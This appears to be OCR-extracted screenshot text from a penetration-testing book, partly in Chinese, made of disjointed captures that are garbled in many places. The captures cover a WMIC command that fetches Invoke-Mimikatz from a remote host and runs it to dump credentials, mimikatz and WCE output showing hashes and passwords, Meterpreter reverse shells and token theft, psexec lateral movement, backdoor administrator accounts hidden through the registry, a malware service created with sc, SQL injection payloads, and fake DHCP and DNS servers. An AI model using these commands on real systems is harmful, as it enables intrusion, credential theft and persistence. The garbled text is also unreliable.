15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15
:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:09, 15:52:10, 15:52:10, 15:52:10, 15:52:10, 15:52:10, 15:52
:10, 15:52:10, 15:52:10, NOT FOUND

Checking for HTTP-Loadbalancing [Diff]: FOUND
< CF-RAY: 3494f42ae3732cc3-KUL
> CF-RAY: 3494£42b13332ced-KUL

www . jgesmmiillh. com does Load-balancing. Found via Methods: DNS HTTP[Diff]
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wmic /USER:"domain\user" /PASSWORD: "Userpassword" /NODE:192.168.0.119
process call create "powershell.exe —-exec bypass IEX (New-Object

Net .WebClient) .DownloadString('http://192.168.0.109/Invoke-Mimikatz.psl"');
Invoke-MimiKatz -DumpCreds | Out-File C:\\users\\public\\creds.txt
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root@kali:~# nc -vv 192.168.0.120 80

192.168.0.120: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.120] 80 (http) open

HEAD / HTTP/1.0

HTTP/1.1 302 Found
Date: Sun, 09 Apr 2017 04:19:55 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38
X-Powered-By: PHP/5.5.38

Location: http:///dashboard/

Connection: close

Content-Type: text/html

sent 17, rcvg 216
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Applications v Places v % XTerm +

Sending on  LPF/uland/bd:ef :Fa:94:2d:c6/192,168.1,0/24
Sending on  Socket/Fal lback/Fal lback-net ACCESS POINT:
Server starting service,
DHCPREQUEST for 132.168,43,118 from 34:F3:9a:0b:51:bc via uland: wrong network.
DHCPNAK on 192,168, 43,118 to 34:F3:9a:0b:51zbc via wland
DHCPREQUEST for 192.166,43.118 fron Saz0b:51:be via wland: wrong network. Yendor.,
TREPNK on 192.160.3118 to 341¢3:Sai0b:51:bo via wland Operation tine.
X VER from c via wland Attempts,
DHCPOFFER on 192,168,1,100 to 34:f3:9a:0b:51tbo (IVFTPF2W04797X) via wlan0 RERHEREERE Clients,eeeeses
DHCPREQUEST for 192,166,1,100 (132.168.1,1) fron 34:f3:8a:0b:51:bc (DVFTPFINOATIZN) via wland #
DHCPACK on 152,168,110 to 3 b:Eibe (IVFTPF2INO4737X) via uland @ CLIENTS ONLINE:
reuse_lease: lease age 0 (secs) under 25% threshold, reply with unaltered, existing lease for 192,167 1) 192.168.1,100 34z
8,1,100
DACPREQUEST For 192,168,1,100 (192.168.1,1) From 34:£3:3a:0b:51:be (IVFTPF2NY04797X) via wlan0 #
DHCPACK on 192.168.1,100 to 34:73:a:0b:61be (DVFTPFIND47S7X) via uland
DHCPINFORM from 192.168,1.100 via wlan0 R
DHCPACK to 192,168,110 (34:¢3:9a:0b:51tbc) via wlan0
THCPINFORH From 19.168,1,100 via uland
g{vm to 192,168.1.100 ( tbe) via wlan0

Request: play.google,com.
Request: play.google,con, -> 132,

Request: play.google.con, —> 192,168.1.

Request: celconbluenet.celcon,con.my, -> 192,168.1,1

Request: feculist.nicrosoft.con. - 192.168.1.1

Request: wuw,bing.con, -> 1

Request: bing,con, -> 192,168

Request: clients6.gooale, > 192,168.1.1

Request: play,google,con, £

Request: play.google,con, i

Request: play.google.con, 2.168,1.1

Request: DVFTPFZAV04737X. celcon,ad, —> 192.168.1.1

Request: celcon.ad. -> 132.168.1.1

Request: ad, -> 192.168.1.1

Request: DVFTPFAANO4737X, celcon.ad. -> 192.168.1.1

Request: celcon.ad, - 132,168.1.

Request: ad, -> 192.168.1.1

Request: dns.neftnosi.con, -> 192,168,1,1

Request: _ldap, _tcp.WisnaCelcon, sites,dc,_wsdos.celcon,ad, -> 192,168,1.1

Request: wescemprOl,celcom.ad, -> 192,168,1.1

Request: _ldap, _tcp.dc. _nsdos, celcon,ad, - 192,168,1,1

Request: _ldap._tcp, 5e93a3ba-dfI4-4Gac-2ec-7eldeSd3bb2e  domains. _nsdcs., celcon.ad, - 182.168.1.1
Request: _ldap._tcp.WisnaCelcon, sites.dc._nsdcs, celcon,ad. -> 192,168.1.1

Request: _ldap, _tcp.dc. nsdcs,celcom.ad, - 192.168.1.1

Request: _ldap._tcp, Se33aTba-4f34-4bac-32ec-TeldeOct3bb2e  domains, _nsdes,celcon,ad, -> 192,168.1.1
Request: scom,celcon.con.ny, -> 192.168.1.1

Request: play.google,con,

Request: play.google.con,

Request: play.google,com,
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msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec) :

Name Current Setting Required Description
RHOST 192.168.0.166 yes The target address
REPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on targ|
SERVICE_DISPLAY NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMINS The share to connect to, can be an admin
rmal read/write folder share
SMBDomain advanced The Windows domain to use for authenticat
SMBPass vagrant The password for the specified username
SMBUser vagrant The username to authenticate as






OEBPS/Image00257.jpg
Ghost Phisher [<]

V1.64
Fake Access Paint ‘ Fake DHCP Server | Fake HTTP Server } TiHos?Trqﬂ Session Pija:k'ngi} ARP Cache Poisoning | Harvested Credentials | About |
DNS Interface Settings
[ Loopback Adress v| 127001 v
Current Interface: Loapback Address Senvice running on: 127.0.0.1
UDP DNS Port: 53 Runtime: Sat Mar 18 11:51:27 2017

Query Responce Settings

@ Resolve all queries to the following address (The currently selected IP address is recommended)

192.168.0.124

() Respond with Fake address only to the following website domains

Address: | Website:

Add

Status

Starting Fake DNS Server....
Started DNS Service at Sat Mar 18 11:51:27 2017

Connections:
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wmicnicconfig get ipaddress, macaddress

ARAG 1P Mkl Al MAC Hihil:

wmic computersystem get username

B U I

wmicnetlogin get name, lastlogon

W RS — I Z RS, B —UOF SR )

wmic desktop get screensaversecure,

screensavertimeout

T B F DR AP R SR 15 A 2 DR AP R A I I

wmic logon get authenticationpackage

SRR

wmic process get caption, executablepath,

commandline

PR ARG

wmic process where name="process name"

call terminate

LR

wmic os get name, servicepackmajorversion

Wi RAERRIERSE

wmic product get name, version

PRI 2 2R AR
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meterpreter > upload /root/vijay/wce.exe

[*] uploading : /root/vijay/wce.exe -> wce.exe

[*] uploaded : /root/vijay/wce.exe -> wce.exe

meterpreter > shell

[Process 4668 created.

Channel 2 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>wce.exe -w

wce.exe -w

WCE vl1.4lbeta (X64) (Windows Credentials Editor) - (c) 2010-2013 Amplia Security]
- by Hernan Ochoa (hernan@ampliasecurity.com)

lUse -h for help.

\vagrant\ADVANCED : vagrant
sshd_server\ADVANCED:D@rj3311lng
IMETASPLOITABLE3$\ADVANCED : <contains-non-printable-chars>
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txt

hia
]
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ES
®
]
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38
®
-]
-
g
2
]

Wifi Informati

[00:00:00] 1/0 keys tested (137.14 k/s)
Time left: 0 seconds

Transient Key

Haster Key
EAPOL. HHAC

The password was saved in /froot/le 2-password,
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IC:\>C:\Users\Vv04797Xx\DownTloads\PSTools\PsExec.exe \\192.168.0.166 -u "advanced\
-p vagrant cmd"

PsExec v2.2 - Execute processes remotely
ICopyright (C) 2001-2016 Mark Russinovich
ISysinternals - www.sysinternals.com

Microsoft windows [Version 6.1.7601]
ICopyright (c) 2009 Microsoft Corporation. A1l rights reserved.

IC:\Windows\system32>
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rootlfkali:~# nmap -p 80 --script http-waf-detect.nse smEslessssgny

Starting Nmap 7.40 ( https://mmap.org ) at 2017-03-28 11:39 EDT

Nmap scan report for Willlens (WF.0B.M.72)
Host is up (0.0056s latency).

Other addresses for LSPEMLIEe (not scanned):

it ppteeifiafiiiel: : GG 0o Je: ollih: Ridewy: :

PORT STATE SERVICE

80/tcp cpen http

| http-waf-detect: IDS/IPS/WAF detected:

| NNy 50/ ?p4yl04d3=<script>alert (document.cookie)</script>

Nmap done: 1 IP address (1 host up) scanned in 14.03 seconds
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Get-Host | Select Version| ISz HEH RGeHH il PowerShell fRRAS . — /I & FEAN ] A I A< o
e

Get-Hotfix FRRC I A T RGBT
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root@kali:~# wafw00f www . . com

1711777\ I
|\ vv // o/l _/
I_n_,'/ n //_/

WAFWOOF - Web Application Firewall Detection Tool

By Sandro Gauci && Wendel G. Henrique

Checking http://www. il . com

The site http://www.MSSENEEE.com is behind a CloudFlare
Number of requests: 1
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Get-Acl BRI &4 F1T 44
Get-Process. Get-Service G Y i R R IR 55

gwmi win32_useraccount VA WML 21 i
Gwmi_win32_group A WML Z1H SID ., £ Fk A
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we ik

wmic product where name="name' call
; ; ; MR E AR
uninstall /nointeractive

wmic share get /ALL RIS P BRI

mic/node:"machinename" path Win32_
TerminalServiceSetting where -

) g % fHi 5l RDP
AllowTSConnections="0"

call SetAllowTSConnections"1"

wmicnteventlog get path, filename, HEARGEFEMAHE, eI sk
writeable (FE 5 L IR ()
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C:\>powersheTl
indows Powershell
Copyright (C) 2009 Microsoft Corporation. A1l rights reserved.

PS C:\> 1s

Directory: C:\

LastwriteTime Length Name

6/21/2016
10/6/2016
6/22/2017
8/20/2016
7/14/2009
6/19/2017
6/19/2017
4/18/2017
2/24/2017
6/19/2017

N++RECOV

out-of-Box Drivers
PerfLogs

Program Files
Program Files (x86)
Temp

Users

Windows

o
BROWWRBN®O

e
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emote Desktop Connection

icrosoft Windows [U

opyright (c> 2009 Microsoft Corporation.

:\Users\backdoor\De:

LR
T
#H 2 N\ #i
L A
CTHE v BB

i

mninikatz

% % %

inikatz # privilege
Privilege ’20° OK

Lnimikatz # sekurlsa:

Authentication I1d
Session
User Name

omain

Logon Server
Logon Time

S1D

nsv
[BARBARA3 1
* Username

Domain

LM

NTLM

SHA1

*
*
*
*

tspkg
* Usernane
= Domain
* Password
wdigest :
* Usernane
= Domain
= Password
kerberos :
* Username
* Domain
* Passuord
ssp =
crednan

Authentication 1d
Session

%ser_ﬂame

omain

Logon Server
Logon Time

S1D

nsy
[AAARARA3 1

A La Uie.

Benjamin DELPY ‘gentilkiwi®
http://hlog.gentilkivi.con/minikatz

ersion 6.1.76011
All rights reserved.

sktop>minikatz.exe

2.1.1 <x64> built on Jun
A L’Amour"

7 2017 82:26:11

¢ benjamin@gentilkiwi.com >
Coe.eod
with 21 modules * x %/

::debug

logonPasswords

B ; 718826 <AOBOOI

Remotelnteractive

backdoor

ADUANCED

METASPLOITABLE3

6,11,2017 9:36:28 PM
§-1-5-21-200656168-3689603815-2654161410-1126

Prinary
backdoor
ADUANCED
dhc656a5562dc9d23cdhE59£98Bba649
c896158e14F2f 7dd2707£592dcdf ef 63
1e7651e@le4d4belf £ ?2d66716973135f a44Bald

backdoor
ADUANCED
JHfMdcJus 1Re?

backdoor
ADUANCED
JHfMdcJus 1Xe?

backdoor
ADUANCED . PENTEST . COM
JHEMdcJus 18e?

B ; 227894 (PAOOOI

Service from

sshd_server

ADUANGED

METASPLOITABLE3

6/11,2817 9:38:51 PH
$-1-5-21-20P656168-3689603815-2654161410—1

Primary
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Aftack Save Columns

| [ Resuts | Target | Postions | Payioass | options |

Fitter: Showing all items

Request A| Payload Status Eror | Timeout | Length
0 200 =] B8 ss81s
1 admin’ - 200 a@ O  ss827
7 admin' # 302 a O s

3 1=1 200 a =] 55879
4 A= 200 a O 55883
5 1=1# 200 a O  ss88

MF&!&M|HM‘H&K|

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.188.0.120

Content-Length: &2

Cache-Control: max-age=0

Origin: http://192.1&8.0.120

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT £.1; Wing4; x64) AppleWebKit/537)
Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xnl,applicacion/xml;q=0.9,inage/|
Referer: http://192.168.0.120/mutillidae/index.php?page=login.php
Accept-Language: en-US,en;g=0.8

Cookie: showhints=1; PHPSESSID=mje4OolgZftaimsEltllSrtaj?
Connection: close

username=admin' $20f&password=%276login-php-submit-button=Login
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OWASP Mantra
§ http://192.168...user-info.php *

« [ 192.168.213.1/mutillidae/index php?page=user-info.php
@Disable & Cookies » CSS+ [JForms- @lmages- @ lnformation- [ Miscellaneous- . Outlines ¢ Resizes ¥:Tools- @View Source- |n/Options-
% SQLInject Me B & » _ Yourinstalled version of Flagfox is now more than a few months old. Flagfox uses an internal IP address location database to look up server locations and thus
" = progressively more inaccurate until you update to the current version.
@ Se?:un!y

+ ;ompass -

o% OWASP Mutillidae Il: Web Pwn in Mass Pr|
=

i SQL In]ect Me Version: 2.6.43 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Klddle)
Toggle Hi Show P Toggle S DB View L
@ 0L inject Me lets you test the page you'e vie egister (Togyle SN EVNER NS DD R ep Rait oo
@  SQL Injection vulnerabilities.
W Each tab represents a form on the page and ls | Eremym = [ User Lookup (SQL)
Ty fields. Just fill in good values for all the fields
which ones are to be tested (they will become Back a Help Me!
& then click either "Test with All Attacks" or "Tes .
= 4 Hints and Videos
@ | Testal forms ith al atacs ‘
B et al forms wht top atacs EE #-
@ AL‘/X Switch to SOAP Web Service version Switch to XPath version
Unnamed form 1 Unnamed form 2 L

f

2L Please enter username and password
hosted_button.id Donate to view account details

45R3YEXENUSTS ~ ytantio Heliz Name
cmd You Password
) e

—s-xclick > Video Tutorials View Account Details

’ Dont have an account? Please register here

Announcements
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root@kali:~/Desktop# httrack http://192.168.0.120/vijay -O /root/Desktop/website/

WARNING! You are running this program as root!
It might be a good idea to run as a different user

Mirror launched on Sun, 09 Apr 2017 00:12:41 by HTTrack Website Copier/3.48-24 [XR&CO'2014]

mirroring http://192.168.0.120/vijay with the wizard help..
192.168.0.120/vijay/fonts/glyphicons-halflings-regular.svg (1242 bytes) - 404

Thanks for using HTTrack!

Done. :






OEBPS/Image00509.jpg
meterpreter > run post/multi/manage/autoroute

[*] Running module against VICTIM
[*] Searching for subnets to autoroute.

[+] Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.52.0/255.255.255.0 from host's routing table.
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Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

>
v

[ hitp:#/127.0.0.1
7 hitp://192.168.0.120
(Y]

[ applications.htmi
» [0 dashboard

» [3 icons

» [0 ajax
[ capture-data.php
» [ documentation
[ framerhtmi
» @ hints-page-wrapper.php
» [ images
» [ includes
» @ index.php
» [ javascript
» [ phpmyadmin
[ rene-magritte.php
[ set-up-database php
> [0 styles
» @ styling.php
» [ webservices

A [ Host | Method | URL | Params | Status & | Length |
0 E Imutilidae/ g 2o
hitp: 168.0.120 GET Imutilidae/?page=add-to-... @
hitp://192.168.0.120 GET Imutilidae/?page=credits....
hitp://192.168.0.120 GET imutilidae/?page=source.. (@
hitp://192.168.0.120 GET imutilidae/?page=text-fie... @
http://192.168.0.120 GET Imutilidae/framer. htm a
hitp://192.168.0.120 GET Imutilidae/images/ =]
hitp://192.168.0.120 GET Imutilidae/includes/ =]
http://192.168.0.120 GET imutiidae/inciudes/pop-u... @ 200 497
hitp://192.168.0.120 GET Imutilidae/index.php o 2w 47904
hitp://192.168.0.120 GET imutiidae/index php?pag.. @ 200 62005
=

GET /mutillidae/ HTTP/1.1
|Host: 1s2.168.0.120
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1; Wing4; x64
Connection: close

Referer: http://192.168.0.120/mucillidae
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meterpreter > background
[*] Backgrounding session 1...

msf exploit(ms17_010_eternalblue) > use auxiliary/scanner/netbios/nbname
msf auxiliary(nbname) > set rhosts 192.168.52.0/24

rhosts => 192.168.52.0/24

msf auxiliary(nbname) > run

[*] Sending NetBIOS requests to 192.168.52.0->192.168.52.255 (256 hosts)

[*] 192.168.52.1 [DESKTOP-GIE32H7] OS:Windows Names: (DESKTOP-GIE32H7, WORKGROL|
2.168.232.1, 192.168.52.1, 192.168.0.120) Mac:00:50:56:c0:00:08 Virtual Machir
[*] 192.168.52.129 [VICTIM] OS:Windows Names: (VICTIM, ADVANCED, _HSBRQWSE_)
e

[*] 192.168.52.130 [METASPLOITABLE] OS:Unix Names: (METASPLOITABLE, _ MSBROWSE |
©:00:00:00:00:00:00

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed
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root@kali:~# BlindElephant.py [Nt .com joomla

Loaded /usr/lib/python2.7/dist-packages/blindelephant/dbs/joomla.pkl with 79 versions,
4363 differentiating paths, and 308 version groups.

Starting BlindElephant fingerprint for version of joomla at http://questinvest.com

Hit http://qt.com/language/en-GB/en-GB.ini
Possible versions based on result: 1.5.16, 1.5.18, 1.5.19, 1.5.26, 1.5.21, 1.5.22, 1.5.
23;71.5.24, 1.5.25, 1.5.26

Hit http://| R - con/ language/en-GB/en-GB. com_content.ini
Possible versions based on result: 1.5.16, 1.5.17, 1.5.18, 1.5.19, 1.5.20, 1.5.21, 1.5.
22, 1.5.23, 1.5.24, 1.5.25, 1.5.26

Hit http://{ . . con/language/en-GB/en-GB.com_contact.ini
Possible versions based on result: 1.5.16, 1.5.17, 1.5.18, 1.5.19, 1.5.20, 1.5.21, 1.5.
22, 1.5.23, 1.5.24, 1.5.25, 1.5.26
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use auxiliary/scanner/netbios/nbname
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help
http:/) 30/
@ Scan Information ' Results - List View: Dirs: 4 Files: 8 Results - Tree View | A\ Errors: 0}
Type Found Response Size

Dir ! 200 7609
Dir IStyle/ 403 1417
Dir /Style/lmage/ 403 1417
Dir fimages/ 403 1417
Dir IScript/ 403 1417
File /Script/jquery.js 200 95131
File /Scriptjtemplate.js 200 17093
File /Script/onlinedish.js 200 4640
File /Script/common.js 200 23511
File /Script/map.js 200 10642
File IScript/customer0b.js 200 1617
File JScript/TopDiv.js 200 17446
File IScript/jquery.easytabs.min js 200 9227

Current speed: 0 requests/sec
Average speed: (T) 22, (C) 15 requests/sec

Parse Queue Size: 0
Total Requests: 456/103445

Time To Finish: 01:54:25

KT

Program paused!

(Select and right click for more options)

Current number of running threads: 10

Change |

IStyle/~audreyt/
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meterpreter > shell
Process 784 created.
Channel 260 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . : localdomain

Link-local IPv6 Address . . . . . : feB80::5c31:ceb:a751:9035%19
IPv4 Address. . . . . . . . . . . : 192.168.52.129

Subnet Mask . . . . . . . . . .. 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.52.2

Ethernet adapter Local Area Connection:

Connection-specific DNS suffix . :

Link-local IPv6 Address . . . . . fes8 316d:613f:c225:8£07%11
IPv4 Address. . . . . . « + « . : 192.168.0.119

Subnet Mask . . . . . . . . . : 255.255.255.0

Default Gateway . . . . < + . . :192.168.0.1
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Tuga‘?ruxy|Spﬂﬁ‘5wwmwﬂcpmter‘5wmnwlmlmaru Extender | Project options Useruptu\s'A.lens‘

m—e

Trget | ositons | Peyoscs | optons |

@ Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

Aftack type: | Sniper

POST /mutillidae/index.php?page=§login php§ HTTP/1.1

Host: 192.168.0.120

Content-Length: 5§

Cache-Control: max-age=0

Origin: http://182.166.0.120

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2887.133 Safari/537.38
Content-Type: application/x-wiww-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,inage/webp,*/*;q=0.8

Referer: hutp://192.168.0.120/mucillidae/index. php?page=login. php

Accept-Language: en-US,en;q=0.8
Cookie: showhints=§i§; PHPSESSID
Connection: close

username=§#87§spassword=§#87§ 1 ogin-php-submit-button=
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[ProxyList]
# add proxy here ...

# meanwile
# defaults set to "tor"
socks4j127.0.0.1 1080
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Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner Repeater | Sequencer | Decoder|

™)
Target | Postions - Options
@ Payload Sets

‘You can define one or more payload sets. The number of payload sets depends on the

rovwasst —
Poo L

Payload Options [Simple lisf]
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—Error Message

[ —
Password [

Dont have an account? Please register here

170

2

C:\xampp\htdocs\mutillidae\classes\MySQLHandler. php

C:\xampp\htdocs\mutillidae\classes\MySQLHandler.php on line 165: Error executing query:

connect_errno: @

le64

: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
"' AND password=''" at line 2

client_info: mysqlnd 5.8.11-dev - 20128583 - $Id: 15d5c781cfcad91193dceaeld2cdd127674ddb3e $

host_info: 127.0.8.1 via TCP/IP

) Query: SELECT * FROM accounts WHERE username='' OR 1=1--' AND password='" (@) [Exception]

#8 C:\xampp\htdocs\mutillidae\classes\MySQLHandler.php(282): MySQLHandler->doExecuteQuery('SELECT * FROM a...') #1
C:\xampp\htdocs\mutillidae\classes\SQLQueryHandler.php(358): MySQLHandler->executeQuery('SELECT * FROM a...') #2
C:\xampp\htdocs\mutillidae\user-info.php(191): SQLQueryHandler->getUserAccount('® OR 1=1--', *') #3 C:\xampp\htdocs\mutillidae\index.php(615):
require_once(’C:\\xampp\\htdocs...") #4 {main}

Error attempting to






OEBPS/Image00511.jpg
msf auxiliary(nbname) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.52.130
rhosts => 192.168.52.130

msf auxiliary(tcp) > run

[*] 192.168.52.130: = .52. :25 OPEN
[*] 192.168.52.130: . 527 122 OPEN
[*] 192.168.52.130: . =52 123 OPEN
[*] 192.168.52.130: . .52. 121 OPEN
[*] 192.168.52.130: . .52. =53 OPEN
[*] 192.168.52.130: B .52. 0 OPEN
[*] 192.168.52.130: . .52. 11 - TCP OPEN
[*] 192.168.52.130: B .52. 39 - TCP OPEN
[*] 192.168.52.130: . .52. :445 - TCP OPEN
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Burp Intruder Repeater Window Help

Target Spider | Scanner | Intruder | Repeater | Sequencer | Decq

H’ eice HTTP history | WebSockets history | Options

Request to http://192.168.0.120:80

| rorwers | [ orop | [eleceptivon | | acin |

Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.0.120

Content-Length: 55

Cache-Control: max-age=0

Origin: http://192.168.0.120
Upgrade-Insecure-Regquests: 1

User-Agent: Mozilla/5.0 (Windows NT £.1; Win&4; xE4) AppleWebKit
Content-Type: application/x-www-form-urlencoded

Accept: text/hr.nl,applicat.inn/xhtml+xml,applica\'.icm/xml;cFEl.B,iﬂ
Referer: http://152.168.0.120/mutillidae/index. php?page=login.p!
Accept-Language: en-US,en;q=0.8

Cookie: showhints=1; PHPSESSID=mjed40olglfta7msEltllSrtaj?
Connection: close

username=%27ipassword=%27&login-php-submit-button=Login
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msf post (inject_host) > use auxiliary/server/socksda
msf auxiliary (socks4a) > run
[*] Auxiliary module execution completed
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root@kali:~# tshark -i 1 -VV -w traffic out
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:

[string "/usr/share/wireshark/init.lua"]:44: dofile has been disable
wiki.wireshark.org/Capturesetup/CapturePrivileges for help in running
Capturing on 'ethO’'

ACFrame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Interface id: 0 (eth0)
Encapsulation type: Ethernet (1)
Arrival Time: Jun 12, 2017 01:50:34.755237399 EDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1497246634.755237399 seconds
[Time delta from previous captured frame: 0.000000000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 0.000000000 seconds]
Frame Number: 1
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net use \\advanced\c$ /user:advanced\username password

dir \\advanced\c$
5 A B e S e i S T
B4 4 N backtome HY AR 55

sc \\remotehost create backtome binpath="c:\xx\malware.exe"

sc remotehost start backtome
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meterpreter > run post/windows/gather/checkvm

[*] Checking if VICTIM is a Virtual Machine
[*] This is a VMware Virtual Machine
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meterpreter > ps

Process List

[System Process]
System
smss.exe
svchost.exe
svchost.exe
taskhost.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
wmpnetwk .exe
services.exe
1sass.exe
1sm.exe
explorer.exe
svchost.exe
vmacthlp.exe

svchost.exe
svchost.exe
EMET Agent.exe

Session

o
o
o
o
L
o
o
1
i
o
o
o
o
1
0
0

Hoo

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
victim\EISC
AUTHORTTY\SYSTEM
AUTHORITY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORITY\NETWORK SERVICE
AUTHORTTY\SYSTEM
AUTHORTTY\SYSTEM
AUTHORITY\SYSTEM
victim\EISC

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

FEEEEEEE

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
victim\EISC
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meterpreter > migrate 604

[*] Migrating from 1192 to 604...
[*] Migration completed successfully.
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[*] Started reverse TCP handler on 192.168.0.137:4444
[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.137:4444 -> 192.168.0.119:51042) at 2017-06-04 13

:10:31 -0400

neterpreter > getuid

Server username: victim\EISC
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i H copy A4 Vi ln) MR F R 58 4 a1 ) DNS & &, B bRl as
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/etc/resolv.conf

X R P A AR O B R G ST root 23 B9 AT 1L

/sh: \ e \ :
Jetc/passwd Fl /etc/shadow SO, 6 ELB AT LU LT ELREAR, 01 John the Ripper

whoami £l who —a e — ARG

PEUEM 2515 8. ifconfig -a $E4L IP Huhl (9 3F1%, iptables-L-n 51 H} A< it
7 KA (4 A HEI CUnSA Bl ki), netstat-r 527 FH A AZGES (9 R A58

ifconfig -a. iptables -L -n F/l netstat —r

uname —a it AR
ps aux i YA TR S . RS RN B

dpkg -1 yum list | grepinstalled F1 dpkg -1 et
gy ik | e P wspr
rpm-qa --last | head
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root@kali:~# python crash.py
enter the IP to hack:192.168.0.119
Welcome to Vulnerable Server! Enter HELP for help.

Server pawned - enjoy the shell
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P
L4

net user attacker password / add
net user testuser test pass word/
APP/DOMAIN

JH attacker YEN I 4%, BIEE— AU P, LA password 7E %6
P T AT A R IR [R] 94 FE P 31024 ik

net localgroup administrators
attacker /add

X M4 & net localgroup

I attacker 2R Hb AT FHAH . 7ERSBIEAL T,

administrators /add attacker

net user username /active:yes /

domain

B ARG RESCE SR AR o AE—A/NEUR, RS T 1E
B AETHMERARM, A 30% B IS PHRHC AR, L, Xlige
BEI— AR %

net share name$=C:\ /
grant:attacker, FULL /

unlimited

SYEEC %, HEHAE N — Windows L=, T attacker FH P iJ7 [l ak 4 16 20 7E IR
g LA NI
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REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \WindowsNT\CurrentVersion
\WinLogon\SpecialAccounts\UserList /V account_name /T REG_DWORD /D 0
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P
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i

whoami /all

SUHSHIT . SID 2 AhRAE . P ARAI 8 P 4

ipconfig /all il ipconfig /displaydns

WA KA HE O (F B EHEDMSURIA i DNS 2647

netstat -bnao Fll netstat —r

G ARG HER 3 O AERE (b), BUFR/R (n), BTN (-a), QHERE
ID (-0). -r IR USRI RAF S . X Se b LA L BUABRIZ AT

net view Fl net view /domain

Arifi) NBNS/ SMB & v 8 4 i T/ 2 it (9 7 E4L. %3 T°Hh /domain 44
A ENL, BT A A A

net user /domain

s e SCR AT P

net user %username% / domain

BT A P AfE R, AR E R AR — 35 SRR A H]
£, /domain WEASLE Y, EALFRE SR | JF — O I SR B
A FNAL Y 5

net accounts

i tH A St RGT Y T w471 net accounts /domain e 3R A IR ¥ 25 5
emg

net localgroup administrators

FTENE R A AL MDY . FTH] /domain VI, KA ik 2 B

net group "Domain Controllers" /

domain

FTEN Y A i #5114

net share

SR MHTAYIE SO, HUR, AT REARRE R SO rh S s R A E T T
51 B A S LA D AR
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meterpreter> execute -H -m -d calc.exe -f <memory
executable + parameterss>
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Module: Add Local User
Description: Adds a local user to the specified group on a host
or host list.

Required Options:

Name

group
pass

trigger_method

user

Available commands:

run

Current Value Description

administrators localgroup to add user to

JHfMdcJus1Xe! Password for the new user.

wmis [wmis], [winexe], or [smbexec]
for triggering

backdoor Username to add.

run the module
display this module's information
go to the main menu

exit Veil-Pillage
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Veil-Pillage: post-explotation framework | [Version]: 1.1.2

[Web] : https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Module: Add Local User

Output file: /root/veil-output/pillage/add_local user/06
.12.2017.002115.0ut

Cleanup file: /root/veil-output/pillage/add local user/06.12.2017.002115.pc
[*] Execution completed
[>] Display the output file? [y/N] Y

[*] Output File:

[*] User 'backdoor:JHfMdcJuslXe!' successfully added using creds 'advanced/vagrant:vagrant' on 192.168.0.166

[*] User 'backdoor' successfully added to localgroup 'administrators' using creds 'advanced/vagrant:vagrant' on 19
2.168.0.166
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[*] Running WMIC Commands

=1
[*]
[*1
(53]
[*]
[*]
[*]
(%]
I*]
I*]
[*1
[*]
1*]
(&3]
[*1
[*1
%]
[£2)
[%:1)
[*1

running
running
running
running
running
running
running
running
running
running
running
running
running
running

command
command
command
command
command
command
command
command
command
command
command
command
command
command

Extracting software
Dumping password hashes...
Hashes Dumped

Getting Tokens...
All tokens have been processed

Done!

list

netlogin get name,lastlogon,badpasswordcount
netclient list brief

netuse get name,username,connectiontype,localname
share get name,path

nteventlog get path,filename,writeable
logicaldisk get description,filesystem, name,size
volume list brief

group list

service list brief

useraccount list

gfe

product get name,version

rdtoggle list

startup list full

from registry
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meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list tokens -u

Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
victim\EISC

Impersonation Tokens Available

